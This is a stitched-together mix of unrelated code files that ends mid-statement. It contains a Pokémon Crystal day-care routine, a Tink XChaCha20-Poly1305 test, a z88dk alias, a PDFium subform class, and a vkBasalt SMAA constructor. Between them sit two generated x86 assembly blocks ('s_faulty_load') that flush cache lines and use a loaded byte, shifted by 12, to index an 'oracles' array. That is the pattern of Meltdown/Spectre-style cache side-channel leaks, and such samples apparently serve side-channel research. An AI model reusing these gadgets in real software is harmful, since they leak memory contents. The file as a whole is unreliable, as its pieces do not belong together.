DayCareMon2: ld hl, DayCareMon2Text call PrintText ld a, [wBreedMon2Species] call PlayMonCry ld a, [wDayCareMan] bit DAYCAREMAN_HAS_MON_F, a jr z, DayCareMonCursor call ButtonSound ld hl, wBreedMon1Nick call DayCareMonCompatibilityText jp PrintText DayCareMonCursor: jp WaitPressAorB_BlinkCursor DayCareMon2Text: ; It's @ that was left with the DAY-CARE LADY. text_far UnknownText_0x1c0df3 text_end DayCareMon1Text: ; It's @ that was left with the DAY-CARE MAN. text_far UnknownText_0x1c0e24 text_end DayCareMonCompatibilityText: push bc ld de, wStringBuffer1 ld bc, NAME_LENGTH call CopyBytes call CheckBreedmonCompatibility pop bc ld a, [wBreedingCompatibility] ld hl, .AllAlone cp -1 jr z, .done ld hl, .Incompatible and a jr z, .done ld hl, .HighCompatibility cp 230 jr nc, .done cp 70 ld hl, .ModerateCompatibility jr nc, .done ld hl, .SlightCompatibility .done ret .AllAlone: ; It's brimming with energy. text_far UnknownText_0x1c0e54 text_end .Incompatible: ; It has no interest in @ . text_far UnknownText_0x1c0e6f text_end .HighCompatibility: ; It appears to care for @ . text_far UnknownText_0x1c0e8d text_end .ModerateCompatibility: ; It's friendly with @ . text_far UnknownText_0x1c0eac text_end .SlightCompatibility: ; It shows interest in @ . text_far UnknownText_0x1c0ec6 text_end Unreferenced_DayCareMonPrintEmptyString: ld hl, .string ret .string db "@"
// Copyright 2018 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //////////////////////////////////////////////////////////////////////////////// #include "tink/subtle/xchacha20_poly1305_boringssl.h" #include <memory> #include <string> #include <vector> #include "gmock/gmock.h" #include "gtest/gtest.h" #include "absl/status/status.h" #include "absl/strings/escaping.h" #include "absl/strings/str_cat.h" #include "tink/aead/internal/wycheproof_aead.h" #include "tink/config/tink_fips.h" #include "tink/internal/ssl_util.h" #include "tink/subtle/subtle_util.h" #include "tink/util/secret_data.h" #include "tink/util/status.h" #include "tink/util/statusor.h" #include "tink/util/test_matchers.h" namespace crypto { namespace tink { namespace subtle { namespace { constexpr int kNonceSizeInBytes = 24; constexpr int kTagSizeInBytes = 16; constexpr absl::string_view kKey256Hex = "000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f"; constexpr absl::string_view kMessage = "Some data to encrypt."; constexpr absl::string_view kAssociatedData = "Some data to authenticate."; using ::crypto::tink::test::IsOk; using ::crypto::tink::test::StatusIs; using ::testing::AllOf; using ::testing::Eq; using ::testing::Not; using ::testing::SizeIs; using ::testing::TestWithParam; using ::testing::ValuesIn; TEST(XChacha20Poly1305BoringSslTest, EncryptDecrypt) { if (IsFipsModeEnabled()) { GTEST_SKIP() << "Not supported in FIPS-only mode"; } util::SecretData key = util::SecretDataFromStringView(absl::HexStringToBytes(kKey256Hex)); if (!internal::IsBoringSsl()) { EXPECT_THAT(XChacha20Poly1305BoringSsl::New(key).status(), StatusIs(absl::StatusCode::kUnimplemented)); } else { util::StatusOr<std::unique_ptr<Aead>> aead = XChacha20Poly1305BoringSsl::New(key); ASSERT_THAT(aead.status(), IsOk()); util::StatusOr<std::string> ciphertext = (*aead)->Encrypt(kMessage, kAssociatedData); ASSERT_THAT(ciphertext.status(), IsOk()); EXPECT_THAT(*ciphertext, SizeIs(kMessage.size() + kNonceSizeInBytes + kTagSizeInBytes)); util::StatusOr<std::string> plaintext = (*aead)->Decrypt(*ciphertext, kAssociatedData); ASSERT_THAT(plaintext.status(), IsOk()); EXPECT_EQ(*plaintext, kMessage); } } // Test decryption with a known ciphertext, message, associated_data and key // tuple to make sure this is using the correct algorithm. The values are taken // from the test vector tcId 1 of the Wycheproof tests: // https://github.com/google/wycheproof/blob/master/testvectors/xchacha20_poly1305_test.json#L21 TEST(XChacha20Poly1305BoringSslTest, SimpleDecrypt) { if (!internal::IsBoringSsl()) { GTEST_SKIP() << "Unimplemented with OpenSSL"; } if (IsFipsModeEnabled()) { GTEST_SKIP() << "Not supported in FIPS-only mode"; } std::string message = absl::HexStringToBytes( "4c616469657320616e642047656e746c656d656e206f662074686520636c617373206f66" "202739393a204966204920636f756c64206f6666657220796f75206f6e6c79206f6e6520" "74697020666f7220746865206675747572652c2073756e73637265656e20776f756c6420" "62652069742e"); std::string raw_ciphertext = absl::HexStringToBytes( "bd6d179d3e83d43b9576579493c0e939572a1700252bfaccbed2902c21396cbb731c7f1b" "0b4aa6440bf3a82f4eda7e39ae64c6708c54c216cb96b72e1213b4522f8c9ba40db5d945" "b11b69b982c1bb9e3f3fac2bc369488f76b2383565d3fff921f9664c97637da9768812f6" "15c68b13b52e"); std::string iv = absl::HexStringToBytes( "404142434445464748494a4b4c4d4e4f5051525354555657"); std::string tag = absl::HexStringToBytes("c0875924c1c7987947deafd8780acf49"); std::string associated_data = absl::HexStringToBytes("50515253c0c1c2c3c4c5c6c7"); util::SecretData key = util::SecretDataFromStringView(absl::HexStringToBytes( "808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f")); util::StatusOr<std::unique_ptr<Aead>> aead = XChacha20Poly1305BoringSsl::New(key); ASSERT_THAT(aead.status(), IsOk()); util::StatusOr<std::string> plaintext = (*aead)->Decrypt(absl::StrCat(iv, raw_ciphertext, tag), associated_data); ASSERT_THAT(plaintext.status(), IsOk()); EXPECT_EQ(*plaintext, message); } TEST(XChacha20Poly1305BoringSslTest, DecryptFailsIfCiphertextTooSmall) { if (!internal::IsBoringSsl()) { GTEST_SKIP() << "Unimplemented with OpenSSL"; } if (IsFipsModeEnabled()) { GTEST_SKIP() << "Not supported in FIPS-only mode"; } util::SecretData key = util::SecretDataFromStringView(absl::HexStringToBytes(kKey256Hex)); util::StatusOr<std::unique_ptr<Aead>> aead = XChacha20Poly1305BoringSsl::New(key); ASSERT_THAT(aead.status(), IsOk()); for (int i = 1; i < kNonceSizeInBytes + kTagSizeInBytes; i++) { std::string ciphertext; ResizeStringUninitialized(&ciphertext, i); EXPECT_THAT((*aead)->Decrypt(ciphertext, kAssociatedData).status(), StatusIs(absl::StatusCode::kInvalidArgument)); } } TEST(XChacha20Poly1305BoringSslTest, FailisOnFipsOnlyMode) { if (!internal::IsBoringSsl()) { GTEST_SKIP() << "Unimplemented with OpenSSL"; } if (!IsFipsModeEnabled()) { GTEST_SKIP() << "Only ran in in FIPS-only mode"; } util::SecretData key256 = util::SecretDataFromStringView(absl::HexStringToBytes(kKey256Hex)); EXPECT_THAT(XChacha20Poly1305BoringSsl::New(key256).status(), StatusIs(absl::StatusCode::kInternal)); } class XChacha20Poly1305BoringSslWycheproofTest : public TestWithParam<internal::WycheproofTestVector> { void SetUp() override { if (!internal::IsBoringSsl()) { GTEST_SKIP() << "Unimplemented with OpenSSL"; } if (IsFipsModeEnabled()) { GTEST_SKIP() << "Not supported in FIPS-only mode"; } internal::WycheproofTestVector test_vector = GetParam(); if (test_vector.key.size() != 32 || test_vector.nonce.size() != kNonceSizeInBytes || test_vector.tag.size() != kTagSizeInBytes) { GTEST_SKIP() << "Unsupported parameters: key size " << test_vector.key.size() << " nonce size: " << test_vector.nonce.size() << " tag size: " << test_vector.tag.size(); } } }; TEST_P(XChacha20Poly1305BoringSslWycheproofTest, Decrypt) { internal::WycheproofTestVector test_vector = GetParam(); util::SecretData key = util::SecretDataFromStringView(test_vector.key); util::StatusOr<std::unique_ptr<Aead>> cipher = XChacha20Poly1305BoringSsl::New(key); ASSERT_THAT(cipher.status(), IsOk()); std::string ciphertext = absl::StrCat(test_vector.nonce, test_vector.ct, test_vector.tag); util::StatusOr<std::string> plaintext = (*cipher)->Decrypt(ciphertext, test_vector.aad); if (plaintext.ok()) { EXPECT_NE(test_vector.expected, "invalid") << "Decrypted invalid ciphertext with ID " << test_vector.id; EXPECT_EQ(*plaintext, test_vector.msg) << "Incorrect decryption: " << test_vector.id; } else { EXPECT_THAT(test_vector.expected, Not(AllOf(Eq("valid"), Eq("acceptable")))) << "Could not decrypt test with tcId: " << test_vector.id << " iv_size: " << test_vector.nonce.size() << " tag_size: " << test_vector.tag.size() << " key_size: " << key.size() << "; error: " << plaintext.status(); } } INSTANTIATE_TEST_SUITE_P(XChacha20Poly1305BoringSslWycheproofTests, XChacha20Poly1305BoringSslWycheproofTest, ValuesIn(internal::ReadWycheproofTestVectors( /*file_name=*/"xchacha20_poly1305_test.json"))); } // namespace } // namespace subtle } // namespace tink } // namespace crypto
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x30cc, %r12 clflush (%r12) nop nop nop nop nop cmp %rax, %rax mov (%r12), %edx nop nop nop nop and $5328, %rsi lea addresses_WC_ht+0xdc4f, %rsi lea addresses_UC_ht+0x1dade, %rdi nop nop nop nop nop sub %r11, %r11 mov $30, %rcx rep movsb nop sub $37329, %rsi lea addresses_WC_ht+0x9cd9, %rax xor %rcx, %rcx movl $0x61626364, (%rax) nop inc %r12 lea addresses_normal_ht+0xd1a1, %r12 nop nop nop nop xor %rcx, %rcx mov (%r12), %r11 nop nop nop nop add $29081, %rdi lea addresses_UC_ht+0x7bf5, %rsi lea addresses_WT_ht+0x1c569, %rdi add $47570, %r9 mov $36, %rcx rep movsq nop nop nop nop xor $63095, %rax lea addresses_normal_ht+0xab09, %rdx nop sub $26793, %rcx mov $0x6162636465666768, %rax movq %rax, %xmm1 and $0xffffffffffffffc0, %rdx vmovaps %ymm1, (%rdx) nop inc %r9 lea addresses_normal_ht+0x5c21, %rdi nop and %r11, %r11 mov (%rdi), %dx nop nop nop xor $582, %rax lea addresses_WT_ht+0x17969, %rax nop nop and %r9, %r9 movb (%rax), %r11b nop nop nop add %rcx, %rcx lea addresses_A_ht+0x1aa1, %rsi lea addresses_A_ht+0x1afa1, %rdi nop nop nop sub $64375, %rdx mov $23, %rcx rep movsb add $50502, %r9 lea addresses_A_ht+0x1c7a1, %r9 nop nop nop nop nop dec %rdx movups (%r9), %xmm3 vpextrq $1, %xmm3, %r11 nop xor %r9, %r9 lea addresses_UC_ht+0x6df9, %rsi lea addresses_D_ht+0x6b61, %rdi nop nop nop nop nop cmp %rax, %rax mov $40, %rcx rep movsw nop nop nop nop and %r11, %r11 lea addresses_WT_ht+0xd3a1, %rcx nop nop nop nop nop xor %rdx, %rdx movb $0x61, (%rcx) nop sub %r9, %r9 lea addresses_WC_ht+0x103a1, %rdi nop add $46702, %r12 movl $0x61626364, (%rdi) nop nop dec %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r8 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi // Load lea addresses_A+0x33a1, %rsi nop nop nop nop nop add %rax, %rax movaps (%rsi), %xmm6 vpextrq $0, %xmm6, %r8 nop xor %rax, %rax // Store lea addresses_normal+0x17621, %rdi nop and $5649, %rbx mov $0x5152535455565758, %rdx movq %rdx, (%rdi) nop nop inc %rcx // Store lea addresses_WT+0x1fc01, %rax nop nop nop nop sub %r8, %r8 movb $0x51, (%rax) nop nop nop sub %rax, %rax // Load lea addresses_A+0x33a1, %rax nop nop nop nop add $23887, %rbx mov (%rax), %si nop nop nop nop dec %rcx // Faulty Load lea addresses_A+0x33a1, %rdi nop nop xor $9410, %rbx mov (%rdi), %ax lea oracles, %rdi and $0xff, %rax shlq $12, %rax mov (%rdi,%rax,1), %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 ret /* <gen_faulty_load> [REF] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'00': 108} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1e1a5, %r15 nop nop nop nop nop inc %r9 movups (%r15), %xmm5 vpextrq $1, %xmm5, %r11 nop nop nop nop nop cmp $27144, %r13 lea addresses_normal_ht+0xeda5, %rsi lea addresses_WT_ht+0xff25, %rdi clflush (%rsi) nop sub %r13, %r13 mov $28, %rcx rep movsw nop nop nop nop xor %r15, %r15 lea addresses_WC_ht+0x168c5, %r15 clflush (%r15) nop nop xor %r9, %r9 movups (%r15), %xmm2 vpextrq $0, %xmm2, %rdi nop nop nop sub %rdi, %rdi lea addresses_WC_ht+0xdaa5, %rcx nop inc %r9 mov (%rcx), %si nop nop nop cmp %rcx, %rcx lea addresses_D_ht+0x1eaa5, %rsi clflush (%rsi) nop inc %rcx movups (%rsi), %xmm1 vpextrq $1, %xmm1, %r9 nop nop nop cmp %r11, %r11 lea addresses_UC_ht+0x447f, %rsi lea addresses_WT_ht+0x197b5, %rdi nop nop nop nop nop cmp $11249, %rdx mov $94, %rcx rep movsw nop nop nop nop inc %r13 lea addresses_WT_ht+0x1d2e5, %rsi lea addresses_D_ht+0x70a5, %rdi nop nop dec %r13 mov $40, %rcx rep movsw nop add $15980, %rdx lea addresses_UC_ht+0x2385, %r9 nop nop nop nop cmp $1226, %rdx mov (%r9), %rsi nop nop nop sub %r11, %r11 lea addresses_normal_ht+0xcf0d, %rcx nop nop and $32160, %rdi movl $0x61626364, (%rcx) xor $2280, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r9 push %rbp push %rbx // Faulty Load lea addresses_US+0xdda5, %rbp nop sub $54530, %r10 mov (%rbp), %r9 lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rbx pop %rbp pop %r9 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'00': 46} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; intmax_t strtoimax(const char *nptr, char **endptr, int base) SECTION code_inttypes PUBLIC asm_strtoimax EXTERN asm_strtol defc asm_strtoimax = asm_strtol
// Copyright 2017 PDFium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com #include "fxjs/xfa/cjx_subform.h" #include <vector> #include "fxjs/cfx_v8.h" #include "fxjs/js_resources.h" #include "fxjs/xfa/cfxjse_value.h" #include "xfa/fxfa/cxfa_eventparam.h" #include "xfa/fxfa/cxfa_ffnotify.h" #include "xfa/fxfa/fxfa.h" #include "xfa/fxfa/parser/cxfa_delta.h" #include "xfa/fxfa/parser/cxfa_document.h" const CJX_MethodSpec CJX_Subform::MethodSpecs[] = { {"execCalculate", execCalculate_static}, {"execEvent", execEvent_static}, {"execInitialize", execInitialize_static}, {"execValidate", execValidate_static}}; CJX_Subform::CJX_Subform(CXFA_Node* node) : CJX_Container(node) { DefineMethods(MethodSpecs); } CJX_Subform::~CJX_Subform() {} bool CJX_Subform::DynamicTypeIs(TypeTag eType) const { return eType == static_type__ || ParentType__::DynamicTypeIs(eType); } CJS_Result CJX_Subform::execEvent( CFX_V8* runtime, const std::vector<v8::Local<v8::Value>>& params) { if (params.size() != 1) return CJS_Result::Failure(JSMessage::kParamError); execSingleEventByName(runtime->ToWideString(params[0]).AsStringView(), XFA_Element::Subform); return CJS_Result::Success(); } CJS_Result CJX_Subform::execInitialize( CFX_V8* runtime, const std::vector<v8::Local<v8::Value>>& params) { if (!params.empty()) return CJS_Result::Failure(JSMessage::kParamError); CXFA_FFNotify* pNotify = GetDocument()->GetNotify(); if (pNotify) pNotify->ExecEventByDeepFirst(GetXFANode(), XFA_EVENT_Initialize, false, true); return CJS_Result::Success(); } CJS_Result CJX_Subform::execCalculate( CFX_V8* runtime, const std::vector<v8::Local<v8::Value>>& params) { if (!params.empty()) return CJS_Result::Failure(JSMessage::kParamError); CXFA_FFNotify* pNotify = GetDocument()->GetNotify(); if (pNotify) pNotify->ExecEventByDeepFirst(GetXFANode(), XFA_EVENT_Calculate, false, true); return CJS_Result::Success(); } CJS_Result CJX_Subform::execValidate( CFX_V8* runtime, const std::vector<v8::Local<v8::Value>>& params) { if (!params.empty()) return CJS_Result::Failure(JSMessage::kParamError); CXFA_FFNotify* pNotify = GetDocument()->GetNotify(); if (!pNotify) return CJS_Result::Success(runtime->NewBoolean(false)); int32_t iRet = pNotify->ExecEventByDeepFirst(GetXFANode(), XFA_EVENT_Validate, false, true); return CJS_Result::Success(runtime->NewBoolean(iRet != XFA_EVENTERROR_Error)); } void CJX_Subform::locale(CFXJSE_Value* pValue, bool bSetting, XFA_Attribute eAttribute) { if (bSetting) { SetCData(XFA_Attribute::Locale, pValue->ToWideString(), true, true); return; } WideString wsLocaleName = GetXFANode()->GetLocaleName().value_or(L""); pValue->SetString(wsLocaleName.ToUTF8().AsStringView()); } void CJX_Subform::instanceIndex(CFXJSE_Value* pValue, bool bSetting, XFA_Attribute eAttribute) { ScriptSomInstanceIndex(pValue, bSetting, eAttribute); } void CJX_Subform::layout(CFXJSE_Value* pValue, bool bSetting, XFA_Attribute eAttribute) { ScriptAttributeString(pValue, bSetting, eAttribute); } void CJX_Subform::validationMessage(CFXJSE_Value* pValue, bool bSetting, XFA_Attribute eAttribute) { ScriptSomValidationMessage(pValue, bSetting, eAttribute); }
#include "effect_smaa.hpp" #include <cstring> #include "image_view.hpp" #include "descriptor_set.hpp" #include "buffer.hpp" #include "renderpass.hpp" #include "graphics_pipeline.hpp" #include "framebuffer.hpp" #include "shader.hpp" #include "sampler.hpp" #include "image.hpp" #include "AreaTex.h" #include "SearchTex.h" namespace vkBasalt { SmaaEffect::SmaaEffect(std::shared_ptr<LogicalDevice> pLogicalDevice, VkFormat format, VkExtent2D imageExtent, std::vector<VkImage> inputImages, std::vector<VkImage> outputImages, std::shared_ptr<vkBasalt::Config> pConfig) { std::string smaaEdgeVertexFile = "smaa_edge.vert.spv"; std::string smaaEdgeLumaFragmentFile = "smaa_edge_luma.frag.spv"; std::string smaaEdgeColorFragmentFile = "smaa_edge_color.frag.spv"; std::string smaaBlendVertexFile = "smaa_blend.vert.spv"; std::string smaaBlendFragmentFile = "smaa_blend.frag.spv"; std::string smaaNeighborVertexFile = "smaa_neighbor.vert.spv"; std::string smaaNeighborFragmentFile = "smaa_neighbor.frag.spv"; std::cout << "in creating SmaaEffect " << std::endl; this->pLogicalDevice = pLogicalDevice; this->format = format; this->imageExtent = imageExtent; this->inputImages = inputImages; this->outputImages = outputImages; this->pConfig = pConfig; //create Images for the first and second pass at once -> less memory fragmentation std::vector<VkImage> edgeAndBlendImages= createImages(pLogicalDevice, inputImages.size()*2, {imageExtent.width, imageExtent.height, 1}, VK_FORMAT_B8G8R8A8_UNORM,//TODO search for format and save it VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, imageMemory); edgeImages = std::vector<VkImage>(edgeAndBlendImages.begin(), edgeAndBlendImages.begin() + edgeAndBlendImages.size()/2); blendImages = std::vector<VkImage>(edgeAndBlendImages.begin() + edgeAndBlendImages.size()/2, edgeAndBlendImages.end()); inputImageViews = createImageViews(pLogicalDevice, format, inputImages); std::cout << "after creating input ImageViews" << std::endl; edgeImageViews = createImageViews(pLogicalDevice, VK_FORMAT_B8G8R8A8_UNORM, edgeImages); std::cout << "after creating edge ImageViews" << std::endl; blendImageViews = createImageViews(pLogicalDevice, VK_FORMAT_B8G8R8A8_UNORM, blendImages); std::cout << "after creating blend ImageViews" << std::endl; outputImageViews = createImageViews(pLogicalDevice, format, outputImages); std::cout << "after creating output ImageViews" << std::endl; sampler = createSampler(pLogicalDevice); std::cout << "after creating sampler" << std::endl; VkExtent3D areaImageExtent = {AREATEX_WIDTH, AREATEX_HEIGHT, 1}; areaImage = createImages(pLogicalDevice, 1, areaImageExtent, VK_FORMAT_R8G8_UNORM,//TODO search for format and save it VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, areaMemory)[0]; VkExtent3D searchImageExtent = {SEARCHTEX_WIDTH, SEARCHTEX_HEIGHT, 1}; searchImage = createImages(pLogicalDevice, 1, searchImageExtent, VK_FORMAT_R8_UNORM,//TODO search for format and save it VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, searchMemory)[0]; uploadToImage(pLogicalDevice, areaImage, areaImageExtent, AREATEX_SIZE, areaTexBytes); uploadToImage(pLogicalDevice, searchImage, searchImageExtent, SEARCHTEX_SIZE, searchTexBytes); areaImageView = createImageViews(pLogicalDevice, VK_FORMAT_R8G8_UNORM, std::vector<VkImage>(1,areaImage))[0]; std::cout << "after creating area ImageView" << std::endl; searchImageView = createImageViews(pLogicalDevice, VK_FORMAT_R8_UNORM, std::vector<VkImage>(1,searchImage))[0]; std::cout << "after creating search ImageView" << std::endl; imageSamplerDescriptorSetLayout = createImageSamplerDescriptorSetLayout(pLogicalDevice, 5); std::cout << "after creating descriptorSetLayouts" << std::endl; VkDescriptorPoolSize imagePoolSize; imagePoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; imagePoolSize.descriptorCount = inputImages.size()*5; std::vector<VkDescriptorPoolSize> poolSizes = {imagePoolSize}; descriptorPool = createDescriptorPool(pLogicalDevice, poolSizes); std::cout << "after creating descriptorPool" << std::endl; //get config options struct SmaaOptions{ float screenWidth; float screenHeight; float reverseScreenWidth; float reverseScreenHeight; float threshold; int32_t maxSearchSteps; int32_t maxSearchStepsDiag; int32_t cornerRounding; }; SmaaOptions smaaOptions; smaaOptions.threshold = std::stod(pConfig->getOption("smaaThreshold", "0.05")); smaaOptions.maxSearchSteps = std::stoi(pConfig->getOption("smaaMaxSearchSteps", "32")); smaaOptions.maxSearchStepsDiag = std::stoi(pConfig->getOption("smaaMaxSearchStepsDiag", "16")); smaaOptions.cornerRounding = std::stoi(pConfig->getOption("smaaCornerRounding", "25")); auto shaderCode = readFile(smaaEdgeVertexFile); createShaderModule(pLogicalDevice, shaderCode, &edgeVertexModule); shaderCode = pConfig->getOption("smaaEdgeDetection", "luma") == "color" ? readFile(smaaEdgeColorFragmentFile) : readFile(smaaEdgeLumaFragmentFile); createShaderModule(pLogicalDevice, shaderCode, &edgeFragmentModule); shaderCode = readFile(smaaBlendVertexFile); createShaderModule(pLogicalDevice, shaderCode, &blendVertexModule); shaderCode = readFile(smaaBlendFragmentFile); createShaderModule(pLogicalDevice, shaderCode, &blendFragmentModule); shaderCode = readFile(smaaNeighborVertexFile); createShaderModule(pLogicalDevice, shaderCode, &neighborVertexModule); shaderCode = readFile(smaaNeighborFragmentFile); createShaderModule(pLogicalDevice, shaderCode, &neignborFragmentModule); renderPass = createRenderPass(pLogicalDevice, format); unormRenderPass = createRenderPass(pLogicalDevice, VK_FORMAT_B8G8R8A8_UNORM); std::vector<VkDescriptorSetLayout> descriptorSetLayouts = {imageSamplerDescriptorSetLayout}; pipelineLayout = createGraphicsPipelineLayout(pLogicalDevice, descriptorSetLayouts); std::vector<VkSpecializationMapEntry> specMapEntrys(8); for(uint32_t i=0;i<specMapEntrys.size();i++) { specMapEntrys[i].constantID = i; specMapEntrys[i].offset = sizeof(float) * i;//TODO not clean to assume that sizeof(int32_t) == sizeof(float) specMapEntrys[i].size = sizeof(float); } smaaOptions.screenWidth = (float) imageExtent.width, smaaOptions.screenHeight = (float) imageExtent.height, smaaOptions.reverseScreenWidth = 1.0f/imageExtent.width; smaaOptions.reverseScreenHeight = 1.0f/imageExtent.height; VkSpecializationInfo specializationInfo; specializationInfo.mapEntryCount = specMapEntrys.size(); specializationInfo.pMapEntries = specMapEntrys.data(); specializationInfo.dataSize = sizeof(smaaOptions); specializationInfo.pData = &smaaOptions; edgePipeline = createGraphicsPipeline(pLogicalDevice, edgeVertexModule, &specializationInfo, "main", edgeFragmentModule, &specializationInfo, "main", imageExtent, unormRenderPass, pipelineLayout); blendPipeline = createGraphicsPipeline(pLogicalDevice, blendVertexModule, &specializationInfo, "main", blendFragmentModule, &specializationInfo, "main", imageExtent, unormRenderPass, pipelineLayout); neighborPipeline = createGraphicsPipeline(pLogicalDevice, neighborVertexModule, &specializationInfo, "main", neignborFragmentModule, &specializationInfo, "main", imageExtent, renderPass, pipelineLayout); std::vector<std::vector<VkImageView>> imageViewsVector = {inputImageViews, edgeImageViews, 